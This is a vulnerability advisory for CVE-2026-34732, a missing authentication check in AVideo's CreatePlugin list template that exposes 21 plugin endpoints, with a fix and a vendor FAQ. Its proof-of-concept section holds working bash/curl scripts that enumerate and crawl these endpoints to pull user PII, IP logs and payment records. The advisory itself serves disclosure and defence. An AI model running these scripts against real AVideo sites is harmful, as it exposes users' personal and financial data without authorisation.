CVE-2026-34732

The AVideo CreatePlugin template for list.json.php does not include any authentication or authorization check. While the companion templates add.json.php and delete.json.php both require admin privileges, the list.json.php template was shipped without this guard. Every plugin that uses the CreatePlugin code generator inherits this omission, resulting in 21 unauthenticated data listing endpoints across the platform. These endpoints expose sensitive data including user PII, payment transaction logs, IP addresses, user agents, and internal system records.

Details

The list.json.php template in CreatePlugin/templates/ lacks any authentication check. Comparing with the sibling templates:

// CreatePlugin/templates/add.json.php:12
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

// CreatePlugin/templates/delete.json.php:11
if (!User::isAdmin()) {
    die('{"error": "Must be admin"}');
}

// CreatePlugin/templates/list.json.php
// NO authentication check - accessible to anyone

This template is used by the CreatePlugin generator to scaffold CRUD endpoints for plugin database tables. Every generated list.json.php inherits the missing auth check, exposing the table contents to unauthenticated requests.

Confirmed on a live instance, the Meet plugin's join log endpoint returns full records without authentication:

GET /plugin/Meet/View/Meet_join_log/list.json.php HTTP/1.1

Response (HTTP 200):

{
  "data": [
    {
      "id": 1,
      "users_id": 42,
      "ip": "REDACTED",
      "user_agent": "Mozilla/5.0 ...",
      "created": "2025-01-15 14:32:00",
      "room_name": "private-meeting-xyz"
    }
  ]
}

The 21 affected endpoints generated from this template include:

Proof of Concept

Step 1: Enumerate accessible list endpoints (no authentication required):

#!/bin/bash
TARGET="https://your-avideo-instance.com"

ENDPOINTS=(
  "plugin/Meet/View/Meet_join_log/list.json.php"
  "plugin/PayPalYPT/View/PayPalYPT_log/list.json.php"
  "plugin/AuthorizeNet/View/Anet_webhook_log/list.json.php"
  "plugin/CustomizeUser/View/Users_extra_info/list.json.php"
  "plugin/UserNotifications/View/User_notifications/list.json.php"
  "plugin/UserConnections/View/Users_connections/list.json.php"
)

for endpoint in "${ENDPOINTS[@]}"; do
  echo "=== $endpoint ==="
  HTTP_CODE=$(curl -s -o /tmp/avi037_response.json -w "%{http_code}" "$TARGET/$endpoint")
  echo "Status: $HTTP_CODE"
  if [ "$HTTP_CODE" = "200" ]; then
    echo "VULNERABLE - Data returned:"
    python3 -m json.tool /tmp/avi037_response.json 2>/dev/null | head -20
  fi
  echo ""
done

Step 2: Retrieve paginated results from a specific endpoint:

# Fetch meeting join logs with pagination
curl -s "https://your-avideo-instance.com/plugin/Meet/View/Meet_join_log/list.json.php?length=100&start=0" \
  | python3 -m json.tool

# Fetch payment logs
curl -s "https://your-avideo-instance.com/plugin/PayPalYPT/View/PayPalYPT_log/list.json.php?length=100&start=0" \
  | python3 -m json.tool

Step 3: Discover additional vulnerable endpoints by scanning plugin directories:

curl -s "https://your-avideo-instance.com/plugin/" \
  | grep -oP 'href="([^"]+)/"' \
  | while read plugin; do
    PLUGIN_NAME=$(echo "$plugin" | grep -oP '"([^"]+)/"' | tr -d '"/')
    URL="$TARGET/plugin/$PLUGIN_NAME/View/"
    curl -s "$URL" | grep -oP 'href="([^"]+)/"' | while read view; do
      VIEW_NAME=$(echo "$view" | grep -oP '"([^"]+)/"' | tr -d '"/')
      LIST_URL="$TARGET/plugin/$PLUGIN_NAME/View/$VIEW_NAME/list.json.php"
      CODE=$(curl -s -o /dev/null -w "%{http_code}" "$LIST_URL")
      [ "$CODE" = "200" ] && echo "FOUND: $LIST_URL"
    done
  done

21 data listing endpoints across AVideo plugins are accessible without any authentication. An unauthenticated attacker can retrieve:

• User PII: Extended profile information, email addresses, user IDs
• Payment data: PayPal and Authorize.Net transaction logs, payment amounts, buyer details
• Access logs: IP addresses, user agents, timestamps, and behavioral patterns from meeting join logs
• Social graphs: User connection and relationship data
• Activity records: Notification history revealing user behavior patterns

This is a systemic vulnerability originating from the code generation template, meaning every plugin created with the CreatePlugin generator will have the same issue unless the developer manually adds authentication. The template itself should be fixed to prevent future plugins from inheriting this flaw.

• CWE-306: Missing Authentication for Critical Function
• Severity: Medium

A critical operation is accessible without requiring any authentication. Typical impact: any user can invoke the privileged function.

CVE-2026-34732 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

Add an admin authentication check to CreatePlugin/templates/list.json.php after the require lines, matching the pattern used in add.json.php and delete.json.php:

// CreatePlugin/templates/list.json.php (after the require lines)
if (!User::isAdmin()) {
    die(json_encode(['error' => true]));
}

This fixes the template for future plugins. Additionally, retroactively patch all 21 existing generated list.json.php endpoints by adding the same admin check after their require lines.

Found by aisafe.io

1. What is CVE-2026-34732? CVE-2026-34732 is a medium-severity missing authentication for critical function vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet. A critical operation is accessible without requiring any authentication.
2. How severe is CVE-2026-34732? CVE-2026-34732 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wwbn/avideo are affected by CVE-2026-34732? wwbn/avideo (composer) versions <= 26.0 is affected.
4. Is there a fix for CVE-2026-34732? No fixed version is listed for CVE-2026-34732 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-34732 exploitable, and should I be worried? Whether CVE-2026-34732 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34732 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34732? No fixed version is listed yet. In the interim: Keep the dependency up to date. Add authentication gating to all sensitive endpoints.